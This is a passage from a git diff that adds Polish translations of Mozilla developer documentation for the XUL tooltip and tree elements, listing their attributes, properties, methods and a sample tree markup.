+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-default">
+
+<dl><dt> <code id="a-default"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/default">default</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, element <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> jest stosowany jako domyślne wyskakujące okienko do wyświetlenia podpowiedzi w okienku.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-noautohide">
+
+<dl><dt> <code id="a-noautohide"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/noautohide">noautohide</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ten atrybut jest ustawiony na <code>false</code> lub zostanie opuszczony, Element <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> będzie automatycznie wyświetlony po kilku sekundach. Jeśli jego atrybut jest ustawiony na <code>true</code>, to nic nie będzie się działo i porada będzie ukryta podczas przesunięcia kursora myszki nad kolejny element.
+</dd></dl>
+
+
+</div>
+<div id="a-onpopuphidden">
+
+<dl>
+ <dt>
+ <code id="a-onpopuphidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopuphidden">onpopuphidden</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do okienka popup po tym jak zostało ukryte.</dd>
+</dl>
+</div>
+<div id="a-onpopuphiding">
+
+<dl>
+ <dt>
+ <code id="a-onpopuphiding"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopuphiding">onpopuphiding</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do okienka popup, kiedy jest ono ukrywane.</dd>
+</dl>
+</div>
+<div id="a-onpopupshowing">
+
+<dl>
+ <dt>
+ <code id="a-onpopupshowing"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopupshowing">onpopupshowing</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie wysyła do okienka popup tylko przed jego otwarciem. Uchwyt zazwyczaj jest stosowany do ustawień dynamicznych zawartości, kiedy użytkownik wnioskuje o jego wyświetlenie. Zwraca <code>false</code> z tego uchwytu zdarzenia zapobiegając okienko popup przed pojawieniem się.</dd>
+</dl>
+</div>
+<div id="a-onpopupshown">
+
+<dl>
+ <dt>
+ <code id="a-onpopupshown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopupshown">onpopupshown</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To jest zdarzenie wysyłane do okienka popup, po tym jak zostało otwarte, bardzo podobne do zdarzenia <code>onload</code> wysyłanego do okna, kiedy jest otwierane.</dd>
+</dl>
+</div>
+<div id="a-popup.position">
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-popupBoxObject">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/popupBoxObject">popupBoxObject</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIPopupBoxObject">nsIPopupBoxObject</a></i>
+ </dd>
+ <dd>
+ To jest własność tylko do odczytu podtrzymująca <a href="pl/NsIPopupBoxObject">nsIPopupBoxObject</a>, który implementuje popup. Normalnie, ta własność nie jest nam potrzebna do użycia jak są dostępne wszystkie jej funkcje via popup.</dd>
+</dl></div>
+<div id="p-position">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/position">position</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <a href="pl/XUL/Atrybut/popup.position">position</a>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-hidePopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/hidePopup">hidePopup()</a></code></span></dt>
+<dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Natychmiast zamyka wyskakujące okienko.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p><p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-moveTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/moveTo">moveTo( x, y )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przenosi wyskakujące okienko do nowej lokalizacji.</dd>
+</dl>
+
+<dl><dt> <span id="m-sizeTo"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/sizeTo">sizeTo( width, height )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zmienia aktualny rozmiar wyskakującego okienka, zostaje nadana nowa szerokość (<var>width</var>) oraz wysokość (<var>height</var>).
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tree/index.html b/files/pl/mozilla/tech/xul/tree/index.html
new file mode 100644
index 0000000000..a57e19f0a9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tree/index.html
@@ -0,0 +1,372 @@
+---
+title: tree
+slug: Mozilla/Tech/XUL/tree
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tree
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener, który może zostać zastosowany do przechowywania tabelarycznego lub hierarchicznego zestawu rzędów elementów. Element tree może zawierać jakąkolwiek ilość rzędów oraz jakąkolwiek ilość kolumn. Każdy rząd drzewa może zawierać rzędy-dzieci, które wyświetlane są z wciętego rodzica. Inaczej, niż inne elementy, dane do wyświetlenia w drzewie nie są podawane za pomocą znaczników, ale są ustalane z obiektu widoku. Obiekt widoku implementuje interfejs <a href="pl/NsITreeView">nsITreeView</a>. Widok jest kolejkowany, aby dane pojawiły się w drzewie. Istnieją różne sposoby, w których drzewa są zastosowane, jak podano poniżej. Druga kolumna listuje interfejsy dostępne poprzez właściwość <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/view">view</a></span></code> drzewa. Trzecia kolumna wskazuje czy element <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> jest zastosowany.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Typ drzewa</th>
+<th>Interfejsy widoku</th>
+<th>Posiada węzły DOM?</th>
+<th>Opis</th>
+</tr>
+<tr>
+<td>Drzewo zawartości</td>
+<td><a href="pl/NsITreeView">nsITreeView</a>, <a href="pl/NsITreeContentView">nsITreeContentView</a></td>
+<td>Tak</td>
+<td>To drzewo posiada elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> umieszczone wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code>. W tej sytuacji, widok zawartości (implementujący interfejs <a href="pl/NsITreeContentView">nsITreeContentView</a>), który jest bardziej wyspecjalizowanym typem widoku, używa elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> i ich potomków w celu stwierdzenia danych do wyświetlenia w drzewie. Jednakże, widok zawartości zaktualizuje się automatycznie, jeśli elementy <code>treeitem</code> zostaną zmienione.</td>
+</tr>
+<tr>
+<td>Drzewo RDF</td>
+<td><a href="pl/NsITreeView">nsITreeView</a>, <a href="pl/NsIXULTreeBuilder">nsIXULTreeBuilder</a></td>
+<td>Nie</td>
+<td>To drzewo jest generowane ze źródła danych (datasource) RDF. Zastosowywane jest gdy drzewo posiada atrybut <code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code> i zawiera <code>dont-build-content</code> w atrybucie <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>. Dla tego drzewa, dane pochodzą bezpośrednio ze źródła danych RDF. Elementy DOM <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> nie są tworzone. Mimo, iż szablon stosuje elementy treeitem do definiowania zawartości, węzły DOM tych elementów nie są tworzone. Jest to typ drzewa, który powinien być stosowany dla drzew wygenerowanych przez RDF w dużą ilością rzędów.</td>
+</tr>
+<tr>
+<td>Drzewo zawartości RDF</td>
+<td><a href="pl/NsITreeView">nsITreeView</a>, <a href="pl/NsIXULTreeBuilder">nsIXULTreeBuilder</a>, <a href="pl/NsITreeContentView">nsITreeContentView</a></td>
+<td>Tak</td>
+<td>To drzewo jest generowane ze źródła danych RDF. Jest podobne do poprzedniego typu drzewa, lecz jest stosowane, kiedy drzewo nie zawiera <code>dont-build-content</code> w atrybucie <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>. Elementy DOM <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> są tworzone, więc możesz uzyskać dostęp do danych za pomocą funkcji RDF lub funkcji DOM. Ten typ jest dobry do drzew generowanych za pomocą RDF z niewielką ilością rzędów.</td>
+</tr>
+<tr>
+<td>Własny widok drzewa</td>
+<td><a href="pl/NsITreeView">nsITreeView</a></td>
+<td>Nie</td>
+<td>Dla tego drzewa możesz sam zaimplementować interfejs <a href="pl/NsITreeView">nsITreeView</a>. Dane drzewa są pobierane z tego widoku własnego. Widok własny powinien być dołączony do drzewa poprzez ustawienie własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/view">view</a></span></code> drzewa.</td>
+</tr>
+</tbody></table>
+<p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a> oraz w <a href="pl/Tree_Widget_Changes">Tree Widget Changes</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disableKeyNavigation">disableKeyNavigation</a>, <a href="#a-disabled">disabled</a>, <a href="#a-enableColumnDrag">enableColumnDrag</a>, <a href="#a-flags">flags</a>, <a href="#a-hidecolumnpicker">hidecolumnpicker</a>, <a href="#a-tree.onselect">#a-tree.onselect</a>, <a href="#a-rows">rows</a>, <a href="#a-seltype">seltype</a>, <a href="#a-statedatasource">statedatasource</a>, <a href="#a-tabindex">tabindex</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-builderView">builderView</a>, <a href="#p-columns">columns</a>, <a href="#p-contentView">contentView</a>, <a href="#p-currentIndex">currentIndex</a>, <a href="#p-disableKeyNavigation">disableKeyNavigation</a>, <a href="#p-disabled">disabled</a>, <a href="#p-editingColumn">editingColumn</a>, <a href="#p-editingRow">editingRow</a>, <a href="#p-enableColumnDrag">enableColumnDrag</a>, <a href="#p-firstOrdinalColumn">firstOrdinalColumn</a>, <a href="#p-selType">selType</a>, <a href="#p-selstyle">selstyle</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-treeBoxObject">treeBoxObject</a>, <a href="#p-view">view</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:trees1.png"></div>
+<pre>&lt;tree flex="1"&gt;
+
+ &lt;treecols&gt;
+ &lt;treecol id="sender" label="Sender" flex="1"/&gt;
+ &lt;treecol id="subject" label="Subject" flex="2"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="joe@somewhere.com"/&gt;
+ &lt;treecell label="Ściśle tajne plany"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="mel@whereever.com"/&gt;
+ &lt;treecell label="Zróbmy obiad"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+
+&lt;/tree&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disableKeyNavigation">
+
+<dl><dt> <code id="a-disablekeynavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablekeynavigation">disablekeynavigation</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ten nie jest użyty, użytkownik może przechodzić do określonych pozycji listy poprzez naciśnięcie pierwszej litery etykiety danej pozycji. Odbywa się to przyrostowo, dlatego przyciśnięcie dodatkowych klawiszy spowoduje zaznaczenie lepiej określonych pozycji. Opcja ta może zostać wyłączona poprzez ustawienie wartości atrybutu jako <code>true</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-enableColumnDrag">
+
+<dl><dt> <code id="a-enableColumnDrag"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/enableColumnDrag">enableColumnDrag</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawimy na <code>true</code>, użytkownik ma możliwość przesunięcia nagłówków kolumny, aby zmienić kolejność w jakiej są one wyświetlane.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-flags">
+
+<dl><dt> <code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>
+</dt><dd> Typ: <i>lista wartości znajdujących się poniżej oddzielonych spacją</i>
+</dd><dd> Ustawia flagi użyte dla różnych celów. Dwie flagi są definiowane, które mogą być wartościami tego atrybutu. </dd></dl>
+<ul><li> <code>dont-test-empty</code>: Dla szablonu generowanej zawartości kompilator nie sprawdzi czy kontener jest pusty.
+</li><li> <code>dont-build-content</code>: Ta flaga może być użyta na drzewie by wskazać, że elementy zawartości nie powinny być generowane. Poprawia to wprawdzie wydajność, lecz uniemożliwia korzystanie z funkcji DOM to pobierania wierszy drzewa.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-hidecolumnpicker">
+
+<dl><dt> <code id="a-hidecolumnpicker"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidecolumnpicker">hidecolumnpicker</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Kiedy ustawiony na <code>false</code>, to dostępne będzie rozwijane menu w prawym górnym rogu drzewa (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>), które użytkownik może zastosować do pokazania lub ukrycia kolumn. Kiedy jest ustawiony na <code>true</code>, to column picker będzie ukryty. Domyślną wartością jest <code>false</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-tree.onselect">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/tree.onselect">onselect</a></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ To zdarzenie jest wysyłane do <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>, kiedy zostanie zaznaczony wiersz lub kiedykolwiek zostanie zmienione zaznaczenie. Użytkownik może zaznaczyć wiele wierszy poprzez przytrzymanie klawisza Shift lub Control i klikanie kursorem myszki w wiersze, które chce zaznaczyć. Zdarzenie <code>onselect</code> będzie przesyłane dla każdej pozycji która zostanie zaznaczona lub odznaczona.</dd>
+</dl>
+
+</div>
+<div id="a-rows">
+
+<dl>
+ <dt>
+ <code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do wyświetlenia w elemencie. Jeśli w elemencie znajduje się więcej niż ta liczba wierszy, pojawi się pasek przewijania, który użytkownik może zastosować do przewijania do innych wierszy. Aby pobrać aktualną liczbę wierszy w elemencie, zastosuj metodę <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-seltype">
+
+</div>
+<div id="a-statedatasource">
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-builderView">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/builderView">builderView</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIXULTreeBuilder">nsIXULTreeBuilder</a></i>
+ </dd>
+ <dd>
+ Referencja do budowniczego drzewa, który konstruuje dane <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>. Budowniczy dostarcza dostęp do źródeł RDF dla każdego wiersza w drzewie i pozwala sortować danymi w kolumnie. W nowszej wersji Mozilli, własność <code>builderView</code> jest aktualnie synonimem dla własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/view">view</a></span></code>, od dwóch interfejsów są spłaszczone razem aż do pojedynczego interfejsu w <a href="pl/JavaScript">JavaScript</a>. Ta własność jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-columns">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/columns">columns</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsITreeColumns">nsITreeColumns</a></i>
+ </dd>
+ <dd>
+ Zwraca kolumny dla drzewa jako obiekt <a href="pl/NsITreeColumns">nsITreeColumns</a>.</dd>
+</dl></div>
+<div id="p-contentView"></div>
+<div id="p-currentIndex">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentIndex">currentIndex</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Ustawia indeks bieżącego aktywnego wiersza w <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code> (drzewie). Jeśli jest brak aktywnego wiersza, wartość będzie <code>-1</code>. Dla wielu zaznaczeń drzew, bieżącym indeksem jest ostatnio zaznaczony wiersz. Nie stosuj tej własności do zmiany zaznaczenia. Zamiast stosować metody obiektu <code><a href="pl/NsITreeSelection">nsITreeSelection</a></code> dostępnego przez <code>tree.view.selection</code>.
+</dd></dl>
+
+</div>
+<div id="p-disableKeyNavigation">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableKeyNavigation">disableKeyNavigation</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia wartość atrybutu <code id="a-disableKeyNavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableKeyNavigation">disableKeyNavigation</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-editingColumn"></div>
+<div id="p-editingRow"></div>
+<div id="p-enableColumnDrag">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/enableColumnDrag">enableColumnDrag</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Kiedy ustawimy na <code>true</code>, użytkownik przesunie nagłówki kolumny, aby zmienić kolejność w jakiej są one wyświetlane.</dd>
+</dl></div>
+<div id="p-firstOrdinalColumn">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/firstOrdinalColumn">firstOrdinalColumn</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></i>
+ </dd>
+ <dd>
+ Referencja do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code>, który nie musi być pierwszą kolumną wyświetlaną w drzewie.</dd>
+</dl></div>
+<div id="p-selType">
+<dl>
+ <dt>
